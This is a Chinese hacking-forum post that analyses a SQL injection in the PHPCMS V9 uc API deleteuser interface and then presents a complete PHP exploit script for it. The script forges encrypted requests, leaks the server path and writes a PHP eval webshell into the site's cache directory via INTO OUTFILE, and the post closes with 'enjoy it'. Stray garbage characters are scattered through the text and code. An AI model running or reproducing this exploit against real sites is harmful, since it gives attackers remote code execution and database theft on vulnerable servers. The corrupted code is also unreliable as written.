找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2033|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。& Q8 [  o3 f' w' ~; Z2 L5 e0 A9 e( z

  ]5 R9 @3 ~: W( [2 k$ O: g! k所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。% ?8 y/ u* v' O8 i  A* x
- |- N9 Q# d9 o6 S2 \
漏洞分析:, G4 E1 S0 ^. a; @, p
1.未启用ucenter服务的情况下uc_key为空" e9 {3 l& C, F; L  O
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
- A7 C8 G, O# h# W4 q2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。) M4 C0 n2 z* ]- F) g5 L
    public function deleteuser($get,$post) {" y3 |4 Z# ~9 w: [1 v0 x5 l
        pc_base::load_app_func('global', 'admin');: u$ n9 s8 \% {7 n; _4 d( z/ K
        pc_base::load_app_class('messagequeue', 'admin' , 0);! x2 y7 E. `5 l
        $ids = new_stripslashes($get['ids']);# _. b3 H# O+ _2 e; U! p
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
6 N, P1 p; |  F6 x6 S2 iSQL语句为! f  a  D4 \( C- W. ?
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
8 |2 ]% Z5 F( E( m8 n, p2 b
8 h, S2 V5 C  R5 y5 p3 L* Q利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell* ~, \9 I4 u  }, H3 K
<?php- I$ G9 N4 O4 @1 L! @3 d
print_r('
  o, I9 F0 m- U---------------------------------------------------------------------------
6 u. F% Y6 r0 v# TPHPcms (v9 or Old Version) uc api sql injection 0day" g2 K" h& ^2 q, G: a
by rayh4c#80sec.com
4 Z. k; r& Z/ k3 r# ?---------------------------------------------------------------------------
# p5 v2 O0 H. u! [; U1 ?8 L');
/ a5 P. y9 w  r/ Q. H
1 y8 |. q# x5 @% }7 Lif ($argc<3) {0 I3 f3 E8 ~; `. t7 G! g& x% A
    print_r('
4 |. p/ s- Y( k0 F4 j& ^---------------------------------------------------------------------------: R8 R% K! U5 g  x1 e% A
Usage: php '.$argv[0].' host path OPTIONS- B2 E- w  k, o: [% [
host:      target server (ip/hostname), O  J+ G7 l) \* D) O/ A/ E
path:      path to phpcms: ^( j% c/ g6 {/ N% Z. x# d
Options:
9 j+ |( q! ?+ G -p[port]:    specify a port other than 80
+ K5 u7 \& U$ L; m- f -P[ip:port]: specify a proxy4 A2 m, e0 `) P7 |& C
Example:+ R5 c6 \( R# I% l: z% P1 I
php '.$argv[0].' localhost /; N# c2 N8 q9 \7 _9 B; [
php '.$argv[0].' localhost /phpcms/ -p81
, o6 q' d: n  u. D& Y5 s7 [php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
& v* `" y- S  ~: o---------------------------------------------------------------------------8 o! m( X# b* l. B! p7 \4 y; P
');
1 c; k2 s- C- v. |3 m6 X# w    die;  ?' a2 n, j1 l6 m. F/ ~
}0 Q7 V& p- s: m: k$ h+ P/ O: v
+ c/ E5 C0 N" B" i4 A: O6 o
error_reporting(7);" o* Y- ]; V1 i" ~1 A4 c1 x6 m5 ~+ v
ini_set("max_execution_time",0);* u  |2 P3 `. n+ q9 W+ I; K
ini_set("default_socket_timeout",5);
2 E4 C3 |, a0 Q7 I  G* h
8 T1 R+ I9 {/ gfunction quick_dump($string)6 t- k# ]- ~1 g- y* V! u( F
{' g1 t) j9 y& R: Z# c: d; B5 h
  $result='';$exa='';$cont=0;
! f1 s+ s$ M: b, G2 D  for ($i=0; $i<=strlen($string)-1; $i++)
3 X5 P. U5 Q! i8 v3 K* z0 e  {
9 v( X) g; h6 L3 }5 N( E/ k   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))+ L, b, s4 c4 \
   {$result.="  .";}
* G, j) B& q$ U0 u; y( w& F   else" E3 ?" M' b" {2 P# |
   {$result.="  ".$string[$i];}! j7 R( B( e1 `2 X+ C4 B  i$ u
   if (strlen(dechex(ord($string[$i])))==2)
9 N# `; y2 F3 a: Y9 F7 h   {$exa.=" ".dechex(ord($string[$i]));}6 Q! Y9 x# H% s8 I3 e
   else- G7 e1 l1 U4 E8 Y# y* I
   {$exa.=" 0".dechex(ord($string[$i]));}
2 A7 L0 o9 Y/ A) ?7 r   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}( y; x9 j6 T( H$ f0 u
  }9 j" }1 q  I  c* G9 N2 u
return $exa."\r\n".$result;) F. I: N; Q& o& M! d/ R% R
}
, [4 Q$ b' K9 A! J$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
9 S  u3 R  h% }8 ~
. q- h( C" }& o) Jfunction send($packet)3 Y0 r8 D$ E2 n& B
{' v- m6 m6 i9 k! A9 U. y: ~4 E" c8 Y
  global $proxy, $host, $port, $html, $proxy_regex;9 k7 A4 R+ G* _% E, e; x- V/ A
  if ($proxy=='') {) D+ D5 e: L6 d5 G5 b, [
    $ock=fsockopen(gethostbyname($host),$port);- R" F3 V# R0 `, n* K: w& p9 ^0 O
    if (!$ock) {
6 C0 h. x; H) J. P  N/ \- ^      echo 'No response from '.$host.':'.$port; die;
1 u5 P7 g/ \3 g$ s  C! `1 K7 n1 j+ r# Z) A    }" r4 I; T3 w$ U, c: B6 I& u* ^0 n! j
  }
5 w  t0 K, m. i  else {
0 f1 O) {- W: k4 u8 V        $c = preg_match($proxy_regex,$proxy);
; g- x" }1 C: I7 `    if (!$c) {
) r9 B( V3 h$ S" a      echo 'Not a valid proxy...';die;! F) r- s6 H/ ^  _7 J% o0 A& p. k9 \3 i
    }
, X, O8 C& |: j! H' v; G    $parts=explode(':',$proxy);% r3 s" N( I: F6 [- @8 J) A
    $parts[1]=(int)$parts[1];
# o% r3 S) B# C6 m: c/ [    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
1 [0 `7 Z' X. E! n5 @    $ock=fsockopen($parts[0],$parts[1]);" H/ `6 k" `! K0 W) l
    if (!$ock) {
3 s. m) `0 W1 j' T/ F5 F9 U      echo 'No response from proxy...';die;
  H& ?3 A) g* H, O0 q        }+ M$ j9 ]* A+ F# N; W8 j. [( S
  }
) u/ N; D* j# e# p  fputs($ock,$packet);7 d+ g/ [; `! L" K. |
  if ($proxy=='') {
" k& h9 [" r$ U    $html='';" _/ ?, e* ]& Y
    while (!feof($ock)) {
! T" v5 {6 a! ~  }- Q      $html.=fgets($ock);
) P. r7 m8 T" C% E    }
8 g) y( [9 A4 c0 S  }
  A1 y% O% Y% N  else {! e0 p9 G+ k- E% [* \
    $html='';
8 m4 H; u% b; L2 g( ?# f( m    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
8 z& C! Q+ X) }, F# o9 b      $html.=fread($ock,1);
, M3 e) p' r. D) v9 Q$ e    }$ i1 ^) m0 H; d) K" f( d! p
  }
' y; M" U8 w, G0 v( R  fclose($ock);
* y9 A* ?, \6 ^2 o}
3 ?1 ~! L2 a8 D  o6 F
# [6 e' N7 f  R7 z$ x$ ?2 T7 Z$host=$argv[1];
* \1 g9 V! T. [* ~3 l+ {4 C! H# g$path=$argv[2];  k; |+ i* a  N; N* ~
$port=80;! d1 g- e3 W  u+ r5 t& s6 w
$proxy="";
  W8 C& k, \# R1 h/ S' y9 _for ($i=3; $i<$argc; $i++){* |1 x6 H7 S* }  w7 q' ^) w
$temp=$argv[$i][0].$argv[$i][1];. i* g( B9 a! J4 i* `) W# v
if ($temp=="-p")
0 D$ s3 H* u1 V0 `' d! u{0 W/ A8 B6 l( H+ V2 P6 ~
  $port=(int)str_replace("-p","",$argv[$i]);
. ?  O3 x- j; }}
$ }% k: t* j, V; Hif ($temp=="-P")( n+ p0 ]  \/ q" t2 s9 k
{
( r# P7 R( s0 q1 i# }/ }/ V' R3 w  $proxy=str_replace("-P","",$argv[$i]);+ t+ a0 u' U/ B
}4 H, r: m* F+ I# f
}
; Z& x6 ?1 b" t" S
" M& e# ~% n# L3 l8 H- N0 `if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}% S" U) Y3 }) N
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}. s7 I0 E8 W, d+ C8 g* \0 ]2 F# ]& V
8 X; G" e  H1 F& a5 B* _
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {# E* |2 [* M* t: d9 F; x: U; r

6 t4 U' K) y& X  c! X% R) W    $ckey_length = 4;1 V" _' _- B: ?- ~) x5 L

1 n: E& Q* _& V: \* {: [0 a    $key = md5($key ? $key : '');
' D* z! {9 U; T! ^+ h/ `, n    $keya = md5(substr($key, 0, 16));
# |2 y! n! I  y4 b/ P2 b+ n8 B    $keyb = md5(substr($key, 16, 16));
. I3 y% `$ q, I0 y; G( n( }    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';' }" T3 t- w7 l6 _. a# [2 l

5 L9 V/ ~! T: d5 X3 T    $cryptkey = $keya.md5($keya.$keyc);/ @$ @% L! O6 _' `
    $key_length = strlen($cryptkey);
2 V' @8 A' r- X8 S& h- b4 |
- @* w7 W- y9 ^. o7 p    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
9 G' ]6 Z0 w4 t& T. N. T4 v    $string_length = strlen($string);
6 P6 m0 B/ J& |7 a6 D, z- H0 i; Q# ]  U
    $result = '';
5 g# h- m* \2 E7 Y2 g8 v4 ^" p    $box = range(0, 255);
" E" l% q- p* H$ k
4 d- _' |1 v3 M$ G7 A    $rndkey = array();8 Z1 c, @* K8 x, V- V) }6 _
    for($i = 0; $i <= 255; $i++) {* d. j9 \$ B. U2 f: y. U, R; \
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
% w3 H6 F7 w8 W6 h    }: Q8 G" {7 S0 }$ T/ B
; |7 j, L7 i. `: x* @6 a
    for($j = $i = 0; $i < 256; $i++) {
& E7 k, v- F2 F- F. x& \        $j = ($j + $box[$i] + $rndkey[$i]) % 256;7 ~9 S: A" V( O& N/ ?. z
        $tmp = $box[$i];2 o1 F" x& X2 Q3 E
        $box[$i] = $box[$j];
( P: G, n" z0 K8 m" ?& O        $box[$j] = $tmp;
% ?9 o$ t6 \2 e3 p; V% y    }! S* u0 }8 T9 m5 K5 K5 j

1 o6 p  n8 k; k8 {    for($a = $j = $i = 0; $i < $string_length; $i++) {
: ]0 b6 u3 ~2 ^0 Y8 X        $a = ($a + 1) % 256;
, S9 x/ e0 m& S+ X        $j = ($j + $box[$a]) % 256;8 |% m% w- ~$ u! M% E, d  t7 X
        $tmp = $box[$a];- W7 |6 y; d# \
        $box[$a] = $box[$j];( y5 U) j# G1 m* q( W; a
        $box[$j] = $tmp;: ]3 S: {6 C8 W" J  A
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
6 O& J8 |8 X* F    }! s% e0 w- N# o, }

; j: O# n6 g. H    if($operation == 'DECODE') {7 o# S& w6 N- j: @7 a# z/ m# j. d6 P
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {6 l+ p' Q5 t% k8 }" \( g8 @: f9 x
            return substr($result, 26);
0 a* V8 i* Q% v) h7 L        } else {2 B# S) o2 t1 L# Z" b% k3 f2 u
            return '';/ B3 h) _- l0 X/ x
        }; L9 I0 E0 }% N9 T3 |. G# X4 e$ M3 b9 x
    } else {8 e) a2 `) F7 H6 Q  Y& y$ T
        return $keyc.str_replace('=', '', base64_encode($result));# g4 w5 }0 I- h. L3 Z" `
    }
  Y8 i( D; p; V. D5 s$ _* `
1 _( s- F% y2 m3 O2 T. D& L}' X8 T3 r+ c9 F4 E5 k0 z& q

* h$ _: u$ D8 d$ W, _$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";4 m) k5 b" D+ [: I% h' ^
$SQL = urlencode(authcode($SQL, "ENCODE", ""));' X4 s! P3 h4 ~- h( z  G- W
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
( Q, U$ i! b5 H# X* I$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
) p! Z2 i; a: h0 V$packet.="User-Agent: Mozilla/5.0\r\n";+ P; d/ r0 c: W. g/ E1 p3 ?, I
$packet.="Host: ".$host."\r\n";
! G! F: V! s, ^$packet.="Connection: Close\r\n\r\n";
5 v0 `0 v8 o6 v$ X& C4 Jsend($packet);
; W1 b+ B, V. j1 \: t1 P" g) \1 rif(strpos($html,"MySQL Errno") > 0){
$ t& k8 t6 b2 g3 c0 Qecho "[2] 发现存在SQL注入漏洞"."\n";/ l  w) [. A' M6 V5 M/ U
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
7 K# o9 O7 i) T" I" N; Z, _$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
# _+ ~8 ]( E1 G$packet.="User-Agent: Mozilla/5.0\r\n";
7 T. }2 @; R4 p3 n7 Y+ z" t! \( M$packet.="Host: ".$host."\r\n";
" K! y/ [; J4 M) B$ s+ y% L1 ]/ @$packet.="Connection: Close\r\n\r\n";
# Y9 w4 L- Z7 \; s( s5 wsend($packet);0 \6 u1 J) q6 R( [2 l- M6 ]
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
7 b" c3 K0 N- K% L//print_r($matches);6 r2 ]" }* [7 v2 o! O0 L- U
if(!empty($matches)){
, [8 I/ x- K2 {echo "[4] 得到web路径 " . $matches[0]."\n";
9 K- d! g# G1 O" secho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";: _8 E9 w4 e# H5 S! Y
$SQL = "time=999999999999999999999999&ids=1)";/ D) u- V0 S4 C$ |
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
& l. H/ f( \/ \$SQL.="&action=deleteuser";
. S6 |1 s9 p2 G$ [; L* E; Y$SQL = urlencode(authcode($SQL, "ENCODE", ""));) }7 f7 k0 o3 g
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";8 J. R8 L: K  c' S2 X* |' r
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";) g1 L! E; z4 i# S4 h& N6 Z
$packet.="User-Agent: Mozilla/5.0\r\n";, `- A+ u& t4 q: B; d
$packet.="Host: ".$host."\r\n";& O6 H5 n: Y" `! [
$packet.="Connection: Close\r\n\r\n";
$ ?- o: X9 w. m2 `- bsend($packet);
/ F- T! H5 z7 F# i" m/ J! xif(strpos($html,"Access denied") > 0){
2 ?( Z; z2 @0 v( X  X/ `! K% Lecho "[-] MYSQL权限过低 禁止写入文件 ";
* E! w! u0 ~4 I- n! X9 Bdie;
" X5 O# v5 y8 r1 f/ q7 n}
- R) Z/ D; W4 }4 w& oecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";1 t8 @8 |6 U3 r, A6 S# B
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";! u% ?/ H8 H! b; X# [/ `$ O* ~
$packet.="User-Agent: Mozilla/5.0\r\n";2 `# G% a8 g& _8 d  m& W& x
$packet.="Host: ".$host."\r\n";
) @2 v( V. @3 d* u7 ^1 B# O' H$packet.="Connection: Close\r\n\r\n";
% X, W7 K9 ~$ p0 w" ^; Csend($packet);3 m! q% X  t, ?, o& ~( o* E4 C
if(strpos($html,"<title>phpinfo()</title>") > 0){
1 L+ b2 I; r/ a  F# Y. K1 q) ?2 techo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
0 Z4 T) G4 j/ c}1 @- y0 l& X9 ^5 J/ F: M4 m" J
}else{
( d% l, q. k+ x7 G* ]: H7 Jecho "[-]未取到web路径 ";3 y& Q+ D* o! c( d4 y5 b" G( y
}
1 o4 w( g  k6 \; W}else{3 W6 T" `6 y( \/ e& `
echo "[*]不存在SQL注入漏洞"."\n";
; t1 M' n% h% |, b8 v5 A}
* ?2 u6 k5 N* P$ @1 z- {- k# g, v7 G! s* L# h
?>
9 R- b% c. p7 O  Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表